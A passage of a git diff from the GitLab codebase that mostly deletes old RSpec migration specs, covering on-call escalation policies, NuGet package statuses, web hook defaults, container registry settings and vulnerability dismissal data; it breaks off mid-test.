- app_installed = create_clusters_applications_prometheus!('installed', status: status_installed)
- app_installed_existing_integration = create_clusters_applications_prometheus!('installed, existing integration', status: status_installed, cluster_id: existing_integration.cluster_id)
- app_externally_installed = create_clusters_applications_prometheus!('externally installed', status: status_externally_installed)
- app_other_status = create_clusters_applications_prometheus!('other status', status: status_installable)
-
- migrate!
-
- integrations = table(:clusters_integration_prometheus).all.index_by(&:cluster_id)
-
- expect(unaffected_existing_integration.reload).to eq unaffected_existing_integration
-
- integration_installed = integrations[app_installed.cluster_id]
- expect(integration_installed).to be_enabled_and_match_application_values(app_installed)
- expect(integration_installed.updated_at).to be >= 1.minute.ago # recently updated
- expect(integration_installed.updated_at).to eq(integration_installed.created_at) # recently created
-
- expect(existing_integration.reload).to be_enabled_and_match_application_values(app_installed_existing_integration)
- expect(existing_integration.updated_at).to be >= 1.minute.ago # recently updated
- expect(existing_integration.updated_at).not_to eq(existing_integration.created_at) # but not recently created
-
- integration_externally_installed = integrations[app_externally_installed.cluster_id]
- expect(integration_externally_installed).to be_enabled_and_match_application_values(app_externally_installed)
- expect(integration_externally_installed.updated_at).to be >= 1.minute.ago # recently updated
- expect(integration_externally_installed.updated_at).to eq(integration_externally_installed.created_at) # recently created
-
- expect(integrations[app_other_status.cluster_id]).to be_nil
- end
- end
-end
diff --git a/spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb b/spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb
deleted file mode 100644
index aa77a5c228a..00000000000
--- a/spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe BackfillEscalationPoliciesForOncallSchedules, feature_category: :incident_management do
- let!(:projects) { table(:projects) }
- let!(:schedules) { table(:incident_management_oncall_schedules) }
- let!(:policies) { table(:incident_management_escalation_policies) }
- let!(:rules) { table(:incident_management_escalation_rules) }
-
- # Project with no schedules
- let!(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab') }
- let!(:project_a) { projects.create!(namespace_id: namespace.id) }
-
- context 'with backfill-able schedules' do
- # Project with one schedule
- let!(:project_b) { projects.create!(namespace_id: namespace.id) }
- let!(:schedule_b1) { schedules.create!(project_id: project_b.id, iid: 1, name: 'Schedule B1') }
-
- # Project with multiple schedules
- let!(:project_c) { projects.create!(namespace_id: namespace.id) }
- let!(:schedule_c1) { schedules.create!(project_id: project_c.id, iid: 1, name: 'Schedule C1') }
- let!(:schedule_c2) { schedules.create!(project_id: project_c.id, iid: 2, name: 'Schedule C2') }
-
- # Project with a single schedule which already has a policy
- let!(:project_d) { projects.create!(namespace_id: namespace.id) }
- let!(:schedule_d1) { schedules.create!(project_id: project_d.id, iid: 1, name: 'Schedule D1') }
- let!(:policy_d1) { policies.create!(project_id: project_d.id, name: 'Policy D1') }
- let!(:rule_d1) { rules.create!(policy_id: policy_d1.id, oncall_schedule_id: schedule_d1.id, status: 2, elapsed_time_seconds: 60) }
-
- # Project with a multiple schedule, one of which already has a policy
- let!(:project_e) { projects.create!(namespace_id: namespace.id) }
- let!(:schedule_e1) { schedules.create!(project_id: project_e.id, iid: 1, name: 'Schedule E1') }
- let!(:schedule_e2) { schedules.create!(project_id: project_e.id, iid: 2, name: 'Schedule E2') }
- let!(:policy_e1) { policies.create!(project_id: project_e.id, name: 'Policy E1') }
- let!(:rule_e1) { rules.create!(policy_id: policy_e1.id, oncall_schedule_id: schedule_e2.id, status: 2, elapsed_time_seconds: 60) }
-
- # Project with a multiple schedule, with multiple policies
- let!(:project_f) { projects.create!(namespace_id: namespace.id) }
- let!(:schedule_f1) { schedules.create!(project_id: project_f.id, iid: 1, name: 'Schedule F1') }
- let!(:schedule_f2) { schedules.create!(project_id: project_f.id, iid: 2, name: 'Schedule F2') }
- let!(:policy_f1) { policies.create!(project_id: project_f.id, name: 'Policy F1') }
- let!(:rule_f1) { rules.create!(policy_id: policy_f1.id, oncall_schedule_id: schedule_f1.id, status: 2, elapsed_time_seconds: 60) }
- let!(:rule_f2) { rules.create!(policy_id: policy_f1.id, oncall_schedule_id: schedule_f2.id, status: 2, elapsed_time_seconds: 60) }
- let!(:policy_f2) { policies.create!(project_id: project_f.id, name: 'Policy F2') }
- let!(:rule_f3) { rules.create!(policy_id: policy_f2.id, oncall_schedule_id: schedule_f2.id, status: 1, elapsed_time_seconds: 10) }
-
- it 'backfills escalation policies correctly' do
- expect { migrate! }
- .to change(policies, :count).by(2)
- .and change(rules, :count).by(3)
-
- new_policy_b1, new_policy_c1 = new_polices = policies.last(2)
- new_rules = rules.last(3)
-
- expect(new_polices).to all have_attributes(name: 'On-call Escalation Policy')
- expect(new_policy_b1.description).to eq('Immediately notify Schedule B1')
- expect(new_policy_c1.description).to eq('Immediately notify Schedule C1')
- expect(policies.pluck(:project_id)).to eq(
- [
- project_d.id,
- project_e.id,
- project_f.id,
- project_f.id,
- project_b.id,
- project_c.id
- ])
-
- expect(new_rules).to all have_attributes(status: 1, elapsed_time_seconds: 0)
- expect(rules.pluck(:policy_id)).to eq(
- [
- rule_d1.policy_id,
- rule_e1.policy_id,
- rule_f1.policy_id,
- rule_f2.policy_id,
- rule_f3.policy_id,
- new_policy_b1.id,
- new_policy_c1.id,
- new_policy_c1.id
- ])
- expect(rules.pluck(:oncall_schedule_id)).to eq(
- [
- rule_d1.oncall_schedule_id,
- rule_e1.oncall_schedule_id,
- rule_f1.oncall_schedule_id,
- rule_f2.oncall_schedule_id,
- rule_f3.oncall_schedule_id,
- schedule_b1.id,
- schedule_c1.id,
- schedule_c2.id
- ])
- end
- end
-
- context 'with no schedules' do
- it 'does nothing' do
- expect { migrate! }
- .to not_change(policies, :count)
- .and not_change(rules, :count)
- end
- end
-end
diff --git a/spec/migrations/backfill_nuget_temporary_packages_to_processing_status_spec.rb b/spec/migrations/backfill_nuget_temporary_packages_to_processing_status_spec.rb
deleted file mode 100644
index ae2656eaf98..00000000000
--- a/spec/migrations/backfill_nuget_temporary_packages_to_processing_status_spec.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe BackfillNugetTemporaryPackagesToProcessingStatus, :migration, feature_category: :package_registry do
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:packages) { table(:packages_packages) }
-
- before do
- namespace = namespaces.create!(id: 123, name: 'test_namespace', path: 'test_namespace')
- project = projects.create!(id: 111, name: 'sample_project', path: 'sample_project', namespace_id: namespace.id)
-
- packages.create!(name: 'NuGet.Temporary.Package', version: '0.1.1', package_type: 4, status: 0, project_id: project.id)
- packages.create!(name: 'foo', version: '0.1.1', package_type: 4, status: 0, project_id: project.id)
- packages.create!(name: 'NuGet.Temporary.Package', version: '0.1.1', package_type: 4, status: 2, project_id: project.id)
- packages.create!(name: 'NuGet.Temporary.Package', version: '0.1.1', package_type: 1, status: 2, project_id: project.id)
- packages.create!(name: 'NuGet.Temporary.Package', version: '0.1.1', package_type: 1, status: 0, project_id: project.id)
- end
-
- it 'updates the applicable packages to processing status', :aggregate_failures do
- expect(packages.where(status: 0).count).to eq(3)
- expect(packages.where(status: 2).count).to eq(2)
- expect(packages.where(name: 'NuGet.Temporary.Package', package_type: 4, status: 0).count).to eq(1)
-
- migrate!
-
- expect(packages.where(status: 0).count).to eq(2)
- expect(packages.where(status: 2).count).to eq(3)
- expect(packages.where(name: 'NuGet.Temporary.Package', package_type: 4, status: 0).count).to eq(0)
- end
-end
diff --git a/spec/migrations/change_web_hook_events_default_spec.rb b/spec/migrations/change_web_hook_events_default_spec.rb
deleted file mode 100644
index c6c3f285ff1..00000000000
--- a/spec/migrations/change_web_hook_events_default_spec.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ChangeWebHookEventsDefault, feature_category: :integrations do
- let(:web_hooks) { table(:web_hooks) }
- let(:projects) { table(:projects) }
- let(:groups) { table(:namespaces) }
-
- let(:group) { groups.create!(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create!(name: 'gitlab', path: 'gitlab', namespace_id: group.id) }
- let(:hook) { web_hooks.create!(project_id: project.id, type: 'ProjectHook') }
- let(:group_hook) { web_hooks.create!(group_id: group.id, type: 'GroupHook') }
-
- before do
- # Simulate the wrong schema
- %w(push_events issues_events merge_requests_events tag_push_events).each do |column|
- ActiveRecord::Base.connection.execute "ALTER TABLE web_hooks ALTER COLUMN #{column} DROP DEFAULT"
- end
- end
-
- it 'sets default values' do
- migrate!
-
- expect(hook.push_events).to be true
- expect(hook.issues_events).to be false
- expect(hook.merge_requests_events).to be false
- expect(hook.tag_push_events).to be false
-
- expect(group_hook.push_events).to be true
- expect(group_hook.issues_events).to be false
- expect(group_hook.merge_requests_events).to be false
- expect(group_hook.tag_push_events).to be false
- end
-end
diff --git a/spec/migrations/clean_up_pending_builds_table_spec.rb b/spec/migrations/clean_up_pending_builds_table_spec.rb
deleted file mode 100644
index e044d4a702b..00000000000
--- a/spec/migrations/clean_up_pending_builds_table_spec.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe CleanUpPendingBuildsTable, :suppress_gitlab_schemas_validate_connection,
-feature_category: :continuous_integration do
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:queue) { table(:ci_pending_builds) }
- let(:builds) { table(:ci_builds) }
-
- before do
- namespaces.create!(id: 123, name: 'sample', path: 'sample')
- projects.create!(id: 123, name: 'sample', path: 'sample', namespace_id: 123)
-
- builds.create!(id: 1, project_id: 123, status: 'pending', type: 'Ci::Build')
- builds.create!(id: 2, project_id: 123, status: 'pending', type: 'GenericCommitStatus')
- builds.create!(id: 3, project_id: 123, status: 'success', type: 'Ci::Bridge')
- builds.create!(id: 4, project_id: 123, status: 'success', type: 'Ci::Build')
- builds.create!(id: 5, project_id: 123, status: 'running', type: 'Ci::Build')
- builds.create!(id: 6, project_id: 123, status: 'created', type: 'Ci::Build')
-
- queue.create!(id: 1, project_id: 123, build_id: 1)
- queue.create!(id: 2, project_id: 123, build_id: 4)
- queue.create!(id: 3, project_id: 123, build_id: 5)
- end
-
- it 'removes duplicated data from pending builds table' do
- migrate!
-
- expect(queue.all.count).to eq 1
- expect(queue.first.id).to eq 1
- expect(builds.all.count).to eq 6
- end
-
- context 'when there are multiple batches' do
- before do
- stub_const("#{described_class}::BATCH_SIZE", 1)
- end
-
- it 'iterates the data correctly' do
- migrate!
-
- expect(queue.all.count).to eq 1
- end
- end
-end
diff --git a/spec/migrations/cleanup_after_add_primary_email_to_emails_if_user_confirmed_spec.rb b/spec/migrations/cleanup_after_add_primary_email_to_emails_if_user_confirmed_spec.rb
deleted file mode 100644
index 6027199c11c..00000000000
--- a/spec/migrations/cleanup_after_add_primary_email_to_emails_if_user_confirmed_spec.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe CleanupAfterAddPrimaryEmailToEmailsIfUserConfirmed, :sidekiq, feature_category: :users do
- let(:migration) { described_class.new }
- let(:users) { table(:users) }
- let(:emails) { table(:emails) }
-
- let!(:user_1) { users.create!(name: 'confirmed-user-1', email: 'confirmed-1@example.com', confirmed_at: 3.days.ago, projects_limit: 100) }
- let!(:user_2) { users.create!(name: 'confirmed-user-2', email: 'confirmed-2@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
- let!(:user_3) { users.create!(name: 'confirmed-user-3', email: 'confirmed-3@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
- let!(:user_4) { users.create!(name: 'unconfirmed-user', email: 'unconfirmed@example.com', confirmed_at: nil, projects_limit: 100) }
-
- let!(:email_1) { emails.create!(email: 'confirmed-1@example.com', user_id: user_1.id, confirmed_at: 1.day.ago) }
- let!(:email_2) { emails.create!(email: 'other_2@example.com', user_id: user_2.id, confirmed_at: 1.day.ago) }
-
- before do
- stub_const("#{described_class.name}::BATCH_SIZE", 2)
- end
-
- it 'consume any pending background migration job' do
- expect_next_instance_of(Gitlab::BackgroundMigration::JobCoordinator) do |coordinator|
- expect(coordinator).to receive(:steal).with('AddPrimaryEmailToEmailsIfUserConfirmed').twice
- end
-
- migration.up
- end
-
- it 'adds the primary email to emails for leftover confirmed users that do not have their primary email in the emails table', :aggregate_failures do
- original_email_1_confirmed_at = email_1.reload.confirmed_at
-
- expect { migration.up }.to change { emails.count }.by(2)
-
- expect(emails.find_by(user_id: user_2.id, email: 'confirmed-2@example.com').confirmed_at).to eq(user_2.reload.confirmed_at)
- expect(emails.find_by(user_id: user_3.id, email: 'confirmed-3@example.com').confirmed_at).to eq(user_3.reload.confirmed_at)
- expect(email_1.reload.confirmed_at).to eq(original_email_1_confirmed_at)
-
- expect(emails.exists?(user_id: user_4.id)).to be(false)
- end
-
- it 'continues in case of errors with one email' do
- allow(Email).to receive(:create) { raise 'boom!' }
-
- expect { migration.up }.not_to raise_error
- end
-end
diff --git a/spec/migrations/cleanup_move_container_registry_enabled_to_project_feature_spec.rb b/spec/migrations/cleanup_move_container_registry_enabled_to_project_feature_spec.rb
deleted file mode 100644
index 1badde62526..00000000000
--- a/spec/migrations/cleanup_move_container_registry_enabled_to_project_feature_spec.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe CleanupMoveContainerRegistryEnabledToProjectFeature, :migration, feature_category: :navigation do
- let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
- let(:non_null_project_features) { { pages_access_level: 20 } }
- let(:bg_class_name) { 'MoveContainerRegistryEnabledToProjectFeature' }
-
- let!(:project1) { table(:projects).create!(namespace_id: namespace.id, name: 'project 1', container_registry_enabled: true) }
- let!(:project2) { table(:projects).create!(namespace_id: namespace.id, name: 'project 2', container_registry_enabled: false) }
- let!(:project3) { table(:projects).create!(namespace_id: namespace.id, name: 'project 3', container_registry_enabled: nil) }
-
- let!(:project4) { table(:projects).create!(namespace_id: namespace.id, name: 'project 4', container_registry_enabled: true) }
- let!(:project5) { table(:projects).create!(namespace_id: namespace.id, name: 'project 5', container_registry_enabled: false) }
- let!(:project6) { table(:projects).create!(namespace_id: namespace.id, name: 'project 6', container_registry_enabled: nil) }
-
- let!(:project_feature1) { table(:project_features).create!(project_id: project1.id, container_registry_access_level: 20, **non_null_project_features) }
- let!(:project_feature2) { table(:project_features).create!(project_id: project2.id, container_registry_access_level: 0, **non_null_project_features) }
- let!(:project_feature3) { table(:project_features).create!(project_id: project3.id, container_registry_access_level: 0, **non_null_project_features) }
-
- let!(:project_feature4) { table(:project_features).create!(project_id: project4.id, container_registry_access_level: 0, **non_null_project_features) }
- let!(:project_feature5) { table(:project_features).create!(project_id: project5.id, container_registry_access_level: 20, **non_null_project_features) }
- let!(:project_feature6) { table(:project_features).create!(project_id: project6.id, container_registry_access_level: 20, **non_null_project_features) }
-
- let!(:background_migration_job1) { table(:background_migration_jobs).create!(class_name: bg_class_name, arguments: [project4.id, project5.id], status: 0) }
- let!(:background_migration_job2) { table(:background_migration_jobs).create!(class_name: bg_class_name, arguments: [project6.id, project6.id], status: 0) }
- let!(:background_migration_job3) { table(:background_migration_jobs).create!(class_name: bg_class_name, arguments: [project1.id, project3.id], status: 1) }
-
- it 'steals remaining jobs, updates any remaining rows and deletes background_migration_jobs rows' do
- expect(Gitlab::BackgroundMigration).to receive(:steal).with(bg_class_name).and_call_original
-
- migrate!
-
- expect(project_feature1.reload.container_registry_access_level).to eq(20)
- expect(project_feature2.reload.container_registry_access_level).to eq(0)
- expect(project_feature3.reload.container_registry_access_level).to eq(0)
- expect(project_feature4.reload.container_registry_access_level).to eq(20)
- expect(project_feature5.reload.container_registry_access_level).to eq(0)
- expect(project_feature6.reload.container_registry_access_level).to eq(0)
-
- expect(table(:background_migration_jobs).where(class_name: bg_class_name).count).to eq(0)
- end
-end
diff --git a/spec/migrations/cleanup_mr_attention_request_todos_spec.rb b/spec/migrations/cleanup_mr_attention_request_todos_spec.rb
index 4fa2419aa7c..cea72003ccd 100644
--- a/spec/migrations/cleanup_mr_attention_request_todos_spec.rb
+++ b/spec/migrations/cleanup_mr_attention_request_todos_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_migration!
-RSpec.describe CleanupMrAttentionRequestTodos, :migration, feature_category: :code_review do
+RSpec.describe CleanupMrAttentionRequestTodos, :migration, feature_category: :code_review_workflow do
let(:projects) { table(:projects) }
let(:namespaces) { table(:namespaces) }
let(:users) { table(:users) }
diff --git a/spec/migrations/confirm_support_bot_user_spec.rb b/spec/migrations/confirm_support_bot_user_spec.rb
deleted file mode 100644
index 863bdb13585..00000000000
--- a/spec/migrations/confirm_support_bot_user_spec.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe ConfirmSupportBotUser, :migration, feature_category: :users do
- let(:users) { table(:users) }
-
- context 'when support bot user is currently unconfirmed' do
- let!(:support_bot) do
- create_user!(
- created_at: 2.days.ago,
- user_type: User::USER_TYPES['support_bot']
- )
- end
-
- it 'updates the `confirmed_at` attribute' do
- expect { migrate! }.to change { support_bot.reload.confirmed_at }
- end
-
- it 'sets `confirmed_at` to be the same as their `created_at` attribute' do
- migrate!
-
- expect(support_bot.reload.confirmed_at).to eq(support_bot.created_at)
- end
- end
-
- context 'when support bot user is already confirmed' do
- let!(:confirmed_support_bot) do
- create_user!(
- user_type: User::USER_TYPES['support_bot'],
- confirmed_at: 1.day.ago
- )
- end
-
- it 'does not change their `confirmed_at` attribute' do
- expect { migrate! }.not_to change { confirmed_support_bot.reload.confirmed_at }
- end
- end
-
- context 'when support bot user created_at is null' do
- let!(:support_bot) do
- create_user!(
- user_type: User::USER_TYPES['support_bot'],
- confirmed_at: nil,
- record_timestamps: false
- )
- end
-
- it 'updates the `confirmed_at` attribute' do
- expect { migrate! }.to change { support_bot.reload.confirmed_at }.from(nil)
- end
-
- it 'does not change the `created_at` attribute' do
- expect { migrate! }.not_to change { support_bot.reload.created_at }.from(nil)
- end
- end
-
- context 'with human users that are currently unconfirmed' do
- let!(:unconfirmed_human) do
- create_user!(
- name: 'human',
- email: 'human@example.com',
- user_type: nil
- )
- end
-
- it 'does not update their `confirmed_at` attribute' do
- expect { migrate! }.not_to change { unconfirmed_human.reload.confirmed_at }
- end
- end
-
- private
-
- def create_user!(user_type:, name: 'GitLab Support Bot', email: 'support@example.com', created_at: Time.now, confirmed_at: nil, record_timestamps: true)
- users.create!(
- name: name,
- email: email,
- username: name,
- projects_limit: 0,
- user_type: user_type,
- confirmed_at: confirmed_at,
- record_timestamps: record_timestamps
- )
- end
-end
diff --git a/spec/migrations/delete_security_findings_without_uuid_spec.rb b/spec/migrations/delete_security_findings_without_uuid_spec.rb
deleted file mode 100644
index e4c17288384..00000000000
--- a/spec/migrations/delete_security_findings_without_uuid_spec.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe DeleteSecurityFindingsWithoutUuid, :suppress_gitlab_schemas_validate_connection,
-feature_category: :vulnerability_management do
- let(:users) { table(:users) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:ci_pipelines) { table(:ci_pipelines) }
- let(:ci_builds) { table(:ci_builds) }
- let(:ci_artifacts) { table(:ci_job_artifacts) }
- let(:scanners) { table(:vulnerability_scanners) }
- let(:security_scans) { table(:security_scans) }
- let(:security_findings) { table(:security_findings) }
- let(:sast_file_type) { 5 }
- let(:sast_scan_type) { 1 }
-
- let(:user) { users.create!(email: 'test@gitlab.com', projects_limit: 5) }
- let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
- let(:ci_pipeline) { ci_pipelines.create!(project_id: project.id, ref: 'master', sha: 'adf43c3a', status: 'success') }
- let(:ci_build) { ci_builds.create!(commit_id: ci_pipeline.id, retried: false, type: 'Ci::Build') }
- let(:ci_artifact) { ci_artifacts.create!(project_id: project.id, job_id: ci_build.id, file_type: sast_file_type, file_format: 1) }
- let(:scanner) { scanners.create!(project_id: project.id, external_id: 'bandit', name: 'Bandit') }
- let(:security_scan) { security_scans.create!(build_id: ci_build.id, scan_type: sast_scan_type) }
-
- let!(:finding_1) { security_findings.create!(scan_id: security_scan.id, scanner_id: scanner.id, severity: 0, confidence: 0, project_fingerprint: Digest::SHA1.hexdigest(SecureRandom.uuid)) }
- let!(:finding_2) { security_findings.create!(scan_id: security_scan.id, scanner_id: scanner.id, severity: 0, confidence: 0, project_fingerprint: Digest::SHA1.hexdigest(SecureRandom.uuid), uuid: SecureRandom.uuid) }
-
- it 'successfully runs and does not schedule any job' do
- expect { migrate! }.to change { described_class::SecurityFinding.count }.by(-1)
- .and change { described_class::SecurityFinding.where(id: finding_1) }
- end
-end
diff --git a/spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb b/spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb
deleted file mode 100644
index 9358b71132c..00000000000
--- a/spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe InsertCiDailyPipelineScheduleTriggersPlanLimits, feature_category: :purchase do
- let!(:plans) { table(:plans) }
- let!(:plan_limits) { table(:plan_limits) }
-
- context 'when on Gitlab.com' do
- let(:free_plan) { plans.create!(name: 'free') }
- let(:bronze_plan) { plans.create!(name: 'bronze') }
- let(:silver_plan) { plans.create!(name: 'silver') }
- let(:gold_plan) { plans.create!(name: 'gold') }
-
- before do
- allow(Gitlab).to receive(:com?).and_return(true)
-
- plan_limits.create!(plan_id: free_plan.id)
- plan_limits.create!(plan_id: bronze_plan.id)
- plan_limits.create!(plan_id: silver_plan.id)
- plan_limits.create!(plan_id: gold_plan.id)
- end
-
- it 'correctly migrates up and down' do
- reversible_migration do |migration|
- migration.before -> {
- expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
- [free_plan.id, 0],
- [bronze_plan.id, 0],
- [silver_plan.id, 0],
- [gold_plan.id, 0]
- )
- }
-
- migration.after -> {
- expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
- [free_plan.id, 24],
- [bronze_plan.id, 288],
- [silver_plan.id, 288],
- [gold_plan.id, 288]
- )
- }
- end
- end
- end
-
- context 'when on self hosted' do
- let(:default_plan) { plans.create!(name: 'default') }
-
- before do
- allow(Gitlab).to receive(:com?).and_return(false)
-
- plan_limits.create!(plan_id: default_plan.id)
- end
-
- it 'does nothing' do
- reversible_migration do |migration|
- migration.before -> {
- expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
- [default_plan.id, 0]
- )
- }
-
- migration.after -> {
- expect(plan_limits.pluck(:plan_id, :ci_daily_pipeline_schedule_triggers)).to contain_exactly(
- [default_plan.id, 0]
- )
- }
- end
- end
- end
-end
diff --git a/spec/migrations/migrate_elastic_index_settings_spec.rb b/spec/migrations/migrate_elastic_index_settings_spec.rb
deleted file mode 100644
index b67c4d902c7..00000000000
--- a/spec/migrations/migrate_elastic_index_settings_spec.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require_migration!
-
-RSpec.describe MigrateElasticIndexSettings, feature_category: :global_search do
- let(:elastic_index_settings) { table(:elastic_index_settings) }
- let(:application_settings) { table(:application_settings) }
-
- context 'with application_settings present' do
- before do
- application_settings.create!(elasticsearch_replicas: 2, elasticsearch_shards: 15)
- end
-
- it 'migrates settings' do
- migrate!
-
- settings = elastic_index_settings.all
-
- expect(settings.size).to eq 1
-
- setting = settings.first
-
- expect(setting.number_of_replicas).to eq(2)
- expect(setting.number_of_shards).to eq(15)
- end
- end
-
- context 'without application_settings present' do
- it 'migrates settings' do
- migrate!
-
- settings = elastic_index_settings.all
-
- expect(settings.size).to eq 1
-
- setting = elastic_index_settings.first
-
- expect(setting.number_of_replicas).to eq(1)
- expect(setting.number_of_shards).to eq(5)
- end
- end
-end
diff --git a/spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb b/spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb
deleted file mode 100644
index 25e0ef439bd..00000000000
--- a/spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe MoveContainerRegistryEnabledToProjectFeatures3, :migration, feature_category: :container_registry do
- let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
-
- let!(:background_jobs) do
- table(:background_migration_jobs).create!(class_name: described_class::MIGRATION, arguments: [-1, -2])
- table(:background_migration_jobs).create!(class_name: described_class::MIGRATION, arguments: [-3, -4])
- end
-
- let!(:projects) do
- [
- table(:projects).create!(namespace_id: namespace.id, name: 'project 1'),
- table(:projects).create!(namespace_id: namespace.id, name: 'project 2'),
- table(:projects).create!(namespace_id: namespace.id, name: 'project 3'),
- table(:projects).create!(namespace_id: namespace.id, name: 'project 4')
- ]
- end
-
- before do
- stub_const("#{described_class.name}::BATCH_SIZE", 3)
- end
-
- around do |example|
- Sidekiq::Testing.fake! do
- freeze_time do
- example.call
- end
- end
- end
-
- it 'schedules jobs for ranges of projects' do
- # old entries in background_migration_jobs should be deleted.
- expect(table(:background_migration_jobs).count).to eq(2)
- expect(table(:background_migration_jobs).first.arguments).to eq([-1, -2])
- expect(table(:background_migration_jobs).second.arguments).to eq([-3, -4])
-
- migrate!
-
- # Since track_jobs is true, each job should have an entry in the background_migration_jobs
- # table.
- expect(table(:background_migration_jobs).count).to eq(2)
- expect(table(:background_migration_jobs).first.arguments).to eq([projects[0].id, projects[2].id])
- expect(table(:background_migration_jobs).second.arguments).to eq([projects[3].id, projects[3].id])
-
- expect(described_class::MIGRATION)
- .to be_scheduled_delayed_migration(2.minutes, projects[0].id, projects[2].id)
-
- expect(described_class::MIGRATION)
- .to be_scheduled_delayed_migration(4.minutes, projects[3].id, projects[3].id)
- end
-
- it 'schedules jobs according to the configured batch size' do
- expect { migrate! }.to change { BackgroundMigrationWorker.jobs.size }.by(2)
- end
-end
diff --git a/spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb b/spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb
deleted file mode 100644
index 66fd5eb5ae5..00000000000
--- a/spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_migration!
-
-RSpec.describe PopulateDismissalInformationForVulnerabilities, feature_category: :vulnerability_management do
- let(:users) { table(:users) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:vulnerabilities) { table(:vulnerabilities) }
-
- let(:existing_dismissed_at) { Time.now }
- let(:states) { { detected: 1, dismissed: 2, resolved: 3, confirmed: 4 } }
- let!(:namespace) { namespaces.create!(name: "foo", path: "bar") }
- let!(:user_1) { users.create!(name: 'John Doe', email: 'john_doe+1@example.com', projects_limit: 5) }
- let!(:user_2) { users.create!(name: 'John Doe', email: 'john_doe+2@example.com', projects_limit: 5) }
- let!(:project) { projects.create!(namespace_id: namespace.id) }
- let!(:vulnerability_params) do
- {
- project_id: project.id,
- author_id: user_1.id,
- title: 'Vulnerability',
- severity: 5,
- confidence: 5,
- report_type: 5
- }
- end
-
- let!(:detected_vulnerability) { vulnerabilities.create!(**vulnerability_params, state: states[:detected]) }
- let!(:resolved_vulnerability) { vulnerabilities.create!(**vulnerability_params, state: states[:resolved]) }
- let!(:confirmed_vulnerability) { vulnerabilities.create!(**vulnerability_params, state: states[:confirmed]) }
-
- let!(:dismissed_vulnerability_1) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], updated_by_id: user_2.id) }
- let!(:dismissed_vulnerability_2) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], last_edited_by_id: user_2.id) }
- let!(:dismissed_vulnerability_3) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], dismissed_at: existing_dismissed_at, author_id: user_2.id) }
- let!(:dismissed_vulnerability_4) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], dismissed_by_id: user_1.id, author_id: user_2.id) }
- let!(:dismissed_vulnerability_5) { vulnerabilities.create!(**vulnerability_params, state: states[:dismissed], dismissed_at: existing_dismissed_at, dismissed_by_id: user_1.id, updated_by_id: user_2.id) }
-
- around do |example|
- freeze_time { example.run }
- end
-
- it 'updates the dismissal information for vulnerabilities' do
- expect { migrate! }.to change { dismissed_vulnerability_1.reload.dismissed_at }.from(nil).to(dismissed_vulnerability_1.updated_at)
- .and change { dismissed_vulnerability_1.reload.dismissed_by_id }.from(nil).to(user_2.id)
- .and change { dismissed_vulnerability_2.reload.dismissed_at }.from(nil).to(dismissed_vulnerability_2.updated_at)
- .and change { dismissed_vulnerability_2.reload.dismissed_by_id }.from(nil).to(user_2.id)
- .and change { dismissed_vulnerability_3.reload.dismissed_by_id }.from(nil).to(user_2.id)
- .and change { dismissed_vulnerability_4.reload.dismissed_at }.from(nil).to(dismissed_vulnerability_4.updated_at)
